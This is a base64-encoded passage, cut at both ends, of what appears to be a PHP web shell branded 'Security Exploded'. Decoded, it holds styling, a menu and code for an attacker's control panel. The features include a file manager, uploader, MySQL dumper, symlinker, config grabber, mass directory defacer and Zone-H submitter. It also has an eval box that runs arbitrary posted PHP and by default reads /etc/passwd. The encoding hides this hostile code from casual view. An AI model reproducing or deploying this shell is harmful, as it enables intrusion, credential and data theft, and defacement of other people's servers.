wogICAgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMzsKICAgIGJvcmRlci10b3A6MXB4IHNvbGlkICMzMzMzMzM7Cn0KCi50YWJuZXR7CiAgICBtYXJnaW46MTVweCBhdXRvIDAgYXV0bzsKICAgIGJvcmRlcjogMXB4IHNvbGlkICMzMzMzMzM7CiAgICBjb2xvcjogI0ZGQ0MwMDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDt9IAoubXN1cGlhbml7IGZvbnQtZmFtaWx5OlZpdmFsZGk7Zm9udC1zaXplOjUwcHg7Y29sb3I6ICMwMEZGMDA7fQoudGFibmV0ewogICAgbWFyZ2luOjE1cHggYXV0byAwIGF1dG87CiAgICBib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5tYWluIHsKICAgIHdpZHRoOjEwMCU7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmdheWEgewogICAgY29sb3I6ICRjb2xvcjsKfQouaW5wdXR6ewogICAgYmFja2dyb3VuZDojMTExMTExOwogICAgYm9yZGVyOjA7CiAgICBwYWRkaW5nOjJweDsKICAgIGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMyMjIyMjI7CiAgICBib3JkZXItdG9wOjFweCBzb2xpZCAjMjIyMjIyOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9IAouaW5wdXR6YnV0ewogICAgYmFja2dyb3VuZDojMTExMTExOwogICAgY29sb3I6PD89JGNvbG9yOyA/PjsKICAgIG1hcmdpbjowIDRweDsKICAgIGJvcmRlcjoxcHggc29saWQgIzQ0NDQ0NDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKCn0KLmlucHV0ejpob3ZlciwgLmlucHV0emJ1dDpob3ZlcnsKICAgIGJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7CiAgICBib3JkZXItdG9wOjFweCBzb2xpZCAjMDBmZjAwOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5vdXRwdXQgewogICAgbWFyZ2luOmF1dG87CiAgICBib3JkZXI6MXB4IHNvbGlkIDw/PSRjb2xvcjsgPz47CiAgICB3aWR0aDoxMDAlOwogICAgaGVpZ2h0OjQwMHB4OwogICAgYmFja2dyb3VuZDojMDAwMDAwOwogICAgcGFkZGluZzowIDJweDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouY21kYm94ewogICAgd2lkdGg6MTAwJTsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouaGVhZF9pbmZveyAKICAgIHBhZGRpbmc6IDAgNHB4OyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9IAouZXhwbG9kZWR7CiAgICBmb250LXNpemU6MzBweDsKICAgIHBhZGRpbmc6MDsKICAgIGNvbG9yOiM0NDQ0NDQ7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmV4cGxvZGVkX3RibHsKICAgIHRleHQtYWxpZ246Y2VudGVyOwogICAgbWFyZ2luOjAgNHB4IDAgMDsKICAgIHBhZGRpbmc6MCA0cHggMCAwOwogICAgYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMzMzMzMzOwp9Ci5waHBpbmZvIHRhYmxlewogICAgd2lkdGg6MTAwJTsKICAgIHBhZGRpbmc6MCAwIDAgMDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQoucGhwaW5mbyB0ZHsKICAgIGJhY2tncm91bmQ6IzExMTExMTsKICAgIGNvbG9yOiNjY2NjY2M7CnBhZGRpbmc6NnB4IDhweDs7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLnBocGluZm8gdGgsIHRoewogICAgYmFja2dyb3VuZDojMTkxOTE5OwogICAgYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMzsKZm9udC13ZWlnaHQ6bm9ybWFsOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5waHBpbmZvIGgyLCAucGhwaW5mbyBoMiBhewogICAgdGV4dC1hbGlnbjpjZW50ZXI7CiAgICBmb250LXNpemU6MTZweDsKICAgIHBhZGRpbmc6MDsKICAgIG1hcmdpbjozMHB4IDAgMCAwOwogICAgYmFja2dyb3VuZDojMjIyMjIyOwogICAgcGFkZGluZzo0cHggMDsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouZXhwbG9yZXsKd2lkdGg6MTAwJTsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQouZXhwbG9yZSBhIHsKdGV4dC1kZWNvcmF0aW9uOm5vbmU7Cn0KLmV4cGxvcmUgdGR7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7CnBhZGRpbmc6MCA4cHg7CmxpbmUtaGVpZ2h0OjI0cHg7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmV4cGxvcmUgdGh7CnBhZGRpbmc6M3B4IDhweDsKZm9udC13ZWlnaHQ6bm9ybWFsOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5leHBsb3JlIHRoOmhvdmVyICwgLnBocGluZm8gdGg6aG92ZXJ7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmV4cGxvcmUgdHI6aG92ZXJ7CmJhY2tncm91bmQ6IzExMTExMTsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQoudmlld2ZpbGV7CmJhY2tncm91bmQ6I0VERUNFQjsKY29sb3I6IzAwMDAwMDsKbWFyZ2luOjRweCAycHg7CnBhZGRpbmc6OHB4OyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5zZW1idW55aXsKZGlzcGxheTpub25lOwpwYWRkaW5nOjA7bWFyZ2luOjA7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmpheWF7IG1hcmdpbjo1cHg7IHRleHQtYWxpZ246cmlnaHQ7IDw/PSRjb2xvcjsgPz47fQouZm9vdGVyeyBiYWNrZ3JvdW5kOiMxMTExMTE7IHdpZHRoOjk5JTsgcGFkZGluZzo1cHg7IG1hcmdpbjoxMHB4IGF1dG8gNXB4OyB0ZXh0LWFsaWduOmNlbnRlcjsgZm9udC1zaXplOjEzcHg7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7IH0gCi5mb290ZXIgYXsgZm9udC1zaXplOjE0cHg7IH0KLmZvb3RlciBzcGFueyBmb250LXNpemU6MTRweDt9Cjwvc3R5bGU+PC9oZWFkPgoKPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21kJykuZm9jdXMoKTsiPgo8IS0tIGxvZ291dCBzdGFydCBoZXJlIC0tPgo8ZGl2IGlkPSJtZW51Ij48c3BhbiBzdHlsZT0nZmxvYXQ6cmlnaHQ7Jz48YnI+Cjw/PSJUaW1lIE9uIFNlcnZlciA6IDxiPiAiLmRhdGUoImQgTSBZIEg6aTpzIix0aW1lKCkpLiI8L2I+IjsgPz4gPGJyPjxicj4gJm5ic3AgJm5ic3AgICZuYnNwICZuYnNwIAo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1raWxsIiB0aXRsZT0nUmVtb3ZlIFNoZWxsJz5SZW1vdmU8L2E+CiB8IAo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1sb2dvdXQiIHRpdGxlPSdMb2dvdXQnPkxvZ291dDwvYT4gJm5ic3AgJm5ic3AgJm5ic3AgPGJyPjxicj4KJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgPGEgaHJlZj0iPzw/PSJ5PSIuJHB3ZDsgPz4mYW1wO3g9YWJvdXQiICB0aXRsZT0nQWJvdXQgQXV0aG9yJz5BYm91dDwvYT4KPC9zcGFuPjwvZGl2Pgo8IS0tIGxvZ291dCBlbmQgaGVyZSAtLT4KPGRpdiBjbGFzcz0ibWFpbiI+CjwhLS0gaGVhZCBpbmZvIHN0YXJ0IGhlcmUgLS0+CjxkaXYgY2xhc3M9ImhlYWRfaW5mbyI+Cjx0YWJsZT48dHI+Cjx0ZD48dGFibGUgY2xhc3M9ImlucHV0eiI+PHRyPjx0ZD48YSBocmVmPSIiIHRhcmdldD0iYmxhbmsiIG9uQ2xpY2s9ImxvY2F0aW9uLnJlbG9hZCgpOyI+PHNwYW4gY2xhc3M9IkYwa3U1Ij48aW1nIHNyYz0nPD89JGxvZ287ID8+JyB0aXRsZT0iU2VjdXJpdHkgRXhwbG9kZWQiIHdpZHRoPSIxNTAiIGhlaWdodD0iMTUwIj48L3NwYW4+PC9zcGFuPjwvYT48L3RkPjwvdHI+PHRyPjx0ZD4KPGEgaHJlZj0iaHR0cDovL3R3aXR0ZXIuY29tL1BvcnQyMl9FeHBsb2RlZCIgY2xhc3M9InR3aXR0ZXItZm9sbG93LWJ1dHRvbiIgZGF0YS1zaG93LWNvdW50PSJmYWxzZSI+ICAgIEZvbGxvdyBAUG9ydDIyX0V4cGxvZGVkPC9hPgo8c2NyaXB0PiFmdW5jdGlvbihkLHMsaWQpe3ZhciBqcyxmanM9ZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXSxwPS9eaHR0cDovLnRlc3QoZC5sb2NhdGlvbik/J2h0dHAnOidodHRwJztpZighZC5nZXRFbGVtZW50QnlJZChpZCkpe2pzPWQuY3JlYXRlRWxlbWVudChzKTtqcy5pZD1pZDtqcy5zcmM9cCsnOi8vcGxhdGZvcm0udHdpdHRlci5jb20vd2lkZ2V0cy5qcyc7ZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLGZqcyk7fX0oZG9jdW1lbnQsICdzY3JpcHQnLCAndHdpdHRlci13anMnKTs8L3NjcmlwdD48L3RkPjwvdHI+PC90YWJsZT48L3RkPgo8dGQ+PD89JGJ1ZmY7ID8+PC90ZD4KPC90cj48L3RhYmxlPjwvZGl2Pgo8IS0tIGhlYWQgaW5mbyBlbmQgaGVyZSAtLT4KPCEtLSBtZW51IHN0YXJ0IC0tPjxicj4KPGNlbnRlcj48ZGl2IGlkPSJtZW51Ij4KPGEgaHJlZj0iPyI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFOMWdBQURkWUJrRzk1bkFBQUFBZDBTVTFGQjlvSkJ4UTJHUm51L1RnQUFBSnpTVVJCVkRqTHRaTFBTeHRCSE1YZjVzZW1aRGZTN0twSWFXelJTaG9GRDVVSzloNmFpNWVDUGZaa3dZSjRrRjU2NmEzMEgwZ0YyNEJVcURkakJUMVZDRklzTkJVV0V3K2hhMm9icERHVVhHUjFaN0taK2ZiUVJreTF2ZlVMQXpQRDQvTWVNdy80SDdPNnVnb0FzRzE3dEZ3dUp3RmdkM2YzUXEzeU4wZytuNytyNi9vS2dFdFFNRFdZR0h4NWtjNTM5ckM0dUFnQTJIeS9PYUdxNm9wbFdhVmNMbWR4eGw5WWx2VUVBTGEydHY2ZFlHUGpYU29TNmNoV0twV0thWnBkb1ZCSUw1VksrME5EUS8xRU5EMDJOalovTHNIYzNCd0FZRzF0YlNJWVZMT0ZRdUd6cG1sZGdVREFrRktxdmIyOTE3YTN0MjNHV0RxWHl6MEJnUFgxOWZZRXk4dkxLVjNYc3djSEJ4WERNTG9pa1lnaHBhUlcwa2Fqd2ZiSzVXODM0L0YrQU5PcFZHcitGTEMwdEhSZjAvVFgrL3RmN0o2ZW5pdWFwcGtBNkl3QnRTQzJiWDlOSkJJRFJQVDA1T1RrdVRMMWFLcGo5UGJveDFxdGRtZ1l4bFhUTkc4UUVWM3dQZ1JBY1YyM2JsbFdmbVJrWk5oMTNWdUtwbW5CdnI2K08xTEsyc3pNek50d09CeHZpWVVRVUJRRlBwK3ZCWUNVOGpDVHlhU09qNDh2QS9odzZqSStQaDVKSnBPZnd1RnduSWpBR0tzdkxDdzhjeHhIVEU0K2ZHd1kwUmdSZ1lpK080NHpQRHM3VzIvcmdldTZDbU1NakRGd3ppR0UrSkZJSkY1VnE5Vk1zK2tkY3M3Qk9RZGpERWRIUjZmR2dkWkdDQUhPT2Z4K1A0Z0lRZ2daalVhcHM5T2tScU5CakRIUXIxRTh6OE01UUxWYWhlTTRUWi9mQnhEUWJEWlZ6L01nSllGekhsUlZGVVJRbXMyR3FOZnI0cUltK21PeDJMM3U3dTVoS1NWQ0lYVlBTdkdtc0ZOVUJ1THhCOEZBNERvQWVKNjNVeXdXc3dCazJ4K2wwK2tXMFA5N0tYODB0blhmTmo4QjVORTVET01WMlQwQUFBQUFTVVZPUks1Q1lJST0nIGhlaWdodD0iMTgiIHdpZHRoPSIzNCIgdGl0bGU9J0hvbWUgJz48L2E+CjxhIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7ID8+IiB0aXRsZT0nRmlsZSBFeHBsb3Jlcic+RmlsZXM8L2E+CjxhIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7ID8+JmFtcDt4PXVwbG9hZCIgdGl0bGU9J1VwbG9hZCBGaWxlJz5VcGxvYWRlcjwvYT4KPGEgaHJlZj0iPzw/PSJ5PSIuJHB3ZDsgPz4mYW1wO3g9c3FsIiB0aXRsZT0nQ29ubmVjdCBUbyBEYXRhYmFzZSc+TXlTUUwgTWFuYWdlcjwvYT48YnI+PGJyPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1qdW1waW5nIiB0aXRsZT0nSnVtcGluZyc+SnVtcGVyPC9hPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1zeW1saW5rIiB0aXRsZT0nU3ltbGluayc+TXVsdGkgU3ltbGlua2VyPC9hPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1ncmFiYyIgdGl0bGU9J0NvbmZpZyBHcmFiYmVyJz5Db25maWcgR3JhYmJlcjwvYT48YnI+PGJyPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1tYXNzIiB0aXRsZT0nRGVmYWNlIFRvIEFsbCBGb2xkZXInPk1hc3MgRGlyZWN0b3J5IERlZmFjZXI8L2E+CjxhIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7ID8+JmFtcDt4PXpvbmUiIHRpdGxlPSdTdWJtaXQgVmljdGltIFRvIFpvbmUtSCc+Wm9uZS1IIFN1Ym1pdGVyPC9hPgo8L2Rpdj48L2NlbnRlcj48YnI+CjwhLS0gbWVudSBlbmQgLS0+Cjw/cGhwCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7CgppZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAna2lsbCcpKSB7CiAgICAKICAgIGVjaG8gIgo8dGFibGUgc3R5bGU9d2lkdGg6MTAwJTsgYm9yZGVyPTAgY2xhc3M9dGFibmV0IGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MSBhbGlnbj1jZW50ZXI+CgogICAgPHRyPgogICAgPHRkIHZhbGlnbj10b3AgYmdjb2xvcj0jMTUxNTE1IGNsYXNzPXN0eWxlMiBzdHlsZT13aWR0aDogMTM5cHg+CiAgICA8Y2VudGVyPjxiPjxmb250IHNpemU9NSBzdHlsZT1pdGFsaWMgY29sb3I9IzAwZmYwMD5TaGVsbCBLaWxsZXI8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwoKZWNobyAnPGNlbnRlcj48YnI+PGZvbnQgc3R5bGU9ImNvbG9yOjw/PSRjb2xvcjsgPz4iPkRvIFlvdSBSZWFsbHkgV2FudCBUbyBEZWxldGUgVGhpcyBTaGVsbCA/PC9iPjwvY2VudGVyPjxicj4nOwo/Pgo8Y2VudGVyPgo8ZGl2IGlkPSJtZW51Ij4KPGEgIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7Pz4mYW1wO3g9a2lsbGl0IiB0aXRsZT0nUmVtb3ZlIFNoZWxsJyA+WWVzLCBJIFdhbnQ8L2ZvbnQ+PC9hPiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgCjxhICBocmVmPSI8Pz0kX1NFUlZFUlsnUEhQX1NFTEYnXTsgPz4iPkNhbmNlbDwvYT48L2I+PC9jZW50ZXI+PGJyPjxicj4KPC9kaXY+Cjw/cGhwCn0KaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2tpbGxpdCcpKSB7CiRmaWxlID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107CmlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpCmRpZSgnPGJyPjxicj48YiBjbGFzcz0idG1wIj48Zm9udCBjb2xvcj0iI2ZmMDAwMCIgc2l6ZT0iMnB0Ij48Y2VudGVyPlNoZWxsIEhhcyBCZWVuIEtpbGxlZC4uLiBUYWtlIENhcmUgQW5kIFN0YXkgU2FmZTwvY2VudGVyPjwvZm9udD48L2I+PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMzsgdXJsPT8iLiRwd2QuIiIgLz4nKTsKZWxzZQplY2hvICc8Zm9udCBjb2xvcj0iI2ZmZjYwMCIgc2l6ZT0iMnB0Ij5VbmxpbmsgRXJyb3IgITwvZm9udD4nOwoKfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocCcpKQp7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKZWNobyAiCjx0YWJsZSBzdHlsZT13aWR0aDoxMDAlOyBib3JkZXI9MCBjbGFzcz10YWJuZXQgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0xIGFsaWduPWNlbnRlcj4KCiAgICA8dHI+CiAgICA8dGQgdmFsaWduPXRvcCBiZ2NvbG9yPSMxNTE1MTUgY2xhc3M9c3R5bGUyIHN0eWxlPXdpZHRoOiAxMzlweD4KICAgIDxjZW50ZXI+PGI+PGZvbnQgc2l6ZT01IHN0eWxlPWl0YWxpYyBjb2xvcj0jMDBmZjAwPkV2YWw8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwogPz4KCjxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4mYW1wO3g9cGhwIiBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjgwMHB4O2hlaWdodDozMDBweCI+Cjx0cj48dGQ+Cjx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0IiBuYW1lPSJjbWQiIGlkPSJjbWQiPgo8P3BocAppZihpc3NldCgkX1BPU1RbJ3N1Ym1pdGNtZCddKSkgewogICAgZWNobyBldmFsKG1hZ2ljYm9vbSgkX1BPU1RbJ2NtZCddKSk7Cn0KZWxzZSBlY2hvICJlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL3Bhc3N3ZCcpOyI7Cj8+CjwvdGV4dGFyZWE+Cjx0cj48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDo4MDBweDsiIGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvICEiIG5hbWU9InN1Ym1pdGNtZCIgLz48L3RkPjwvdHI+PC9mb3JtPgo8L3RhYmxlPgo8L2Zvcm0+Cgo8P3BocCB9CgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3FsJykpewogICAgZWNobyAiCjx0YWJsZSBzdHlsZT13aWR0aDoxMDAlOyBib3JkZXI9MCBjbGFzcz10YWJuZXQgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0xIGFsaWduPWNlbnRlcj4KCiAgICA8dHI+CiAgICA8dGQgdmFsaWduPXRvcCBiZ2NvbG9yPSMxNTE1MTUgY2xhc3M9c3R5bGUyIHN0eWxlPXdpZHRoOiAxMzlweD4KICAgIDxjZW50ZXI+PGI+PGZvbnQgc2l6ZT01IHN0eWxlPWl0YWxpYyBjb2xvcj0jMDBmZjAwPk15U1FMIE1hbmFnZXI8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpIHsKICBpZiAoIWlzX251bWVyaWMoJHNpemUpKSB7IHJldHVybiBGQUxTRTsgfQogIGVsc2UgewppZiAoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gcm91bmQoJHNpemUvMTA3Mzc0MTgyNCoxMDApLzEwMCAuIiBHQiI7fQplbHNlaWYgKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNDg1NzYqMTAwKS8xMDAgLiIgTUIiO30KZWxzZWlmICgkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0KjEwMCkvMTAwIC4iIEtCIjt9CmVsc2UgeyRzaXplID0gJHNpemUgLiAiIEIiO30KcmV0dXJuICRzaXplOwogIH0KfQpmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpIHsKICAkc29jayA9ICRzZXRbInNvY2siXTsKICAkZGIgPSAkc2V0WyJkYiJdOwogICRwcmludCA9ICRzZXRbInByaW50Il07CiAgJG5sMmJyID0gJHNldFsibmwyYnIiXTsKICAkZmlsZSA9ICRzZXRbImZpbGUiXTsKICAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOwogICR0YWJzID0gJHNldFsidGFicyJdOwogICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07CiAgJHJldCA9IGFycmF5KCk7CiAgJHJldFsiZXJyIl0gPSBhcnJheSgpOwogIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQogIGlmIChlbXB0eSgkZGIpKSB7JGRiID0gImRiIjt9CiAgaWYgKGVtcHR5KCRwcmludCkpIHskcHJpbnQgPSAwO30KICBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQogIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9CiAgaWYgKGVtcHR5KCRmaWxlKSkgewokZmlsZSA9ICR0bXBfZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOwogIH0KICBpZiAoIWlzX2FycmF5KCR0YWJzKSkgeyR0YWJzID0gYXJyYXkoKTt9CiAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30KICBpZiAoc2l6ZW9mKCR0YWJzKSA9PSAwKSB7CiRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMgRlJPTSAiLiRkYiwgJHNvY2spOwppZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7d2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcykpIHskdGFic1tdID0gJHJvd1swXTt9fQogIH0KICAkb3V0ID0gIgogICMgRHVtcGVkIEJ5ICIuJHhOYW1lLiIKICAjIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiIKICAjIERhdGU6ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iCiAgIyBEQjogXCIiLiRkYi4iXCIKICAjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIjsKICAkYyA9IGNvdW50KCRvbmx5dGFicyk7CiAgZm9yZWFjaCgkdGFicyBhcyAkdGFiKSB7CmlmICgoaW5fYXJyYXkoJHRhYiwkb25seXRhYnMpKSBvciAoISRjKSkgewogIGlmICgkYWRkX2Ryb3ApIHskb3V0IC49ICJEUk9QIFRBQkxFIElGIEVYSVNUUyBgIi4kdGFiLiJgO1xuIjt9CiAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSBgIi4kdGFiLiJgIiwgJHNvY2spOw